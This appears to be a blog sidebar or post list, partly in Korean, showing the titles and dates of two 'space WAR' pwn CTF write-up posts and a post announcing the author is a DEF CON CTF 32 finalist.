2024년 5월 space WAR (Pwn) Write up + 후기  (0) 2024.05.26
I'm DEF CON CTF 32 Finalist  (0) 2024.05.17
2024년 1월 space WAR (Pwn) Write up + 후기  (3) 2024.01.28
Comments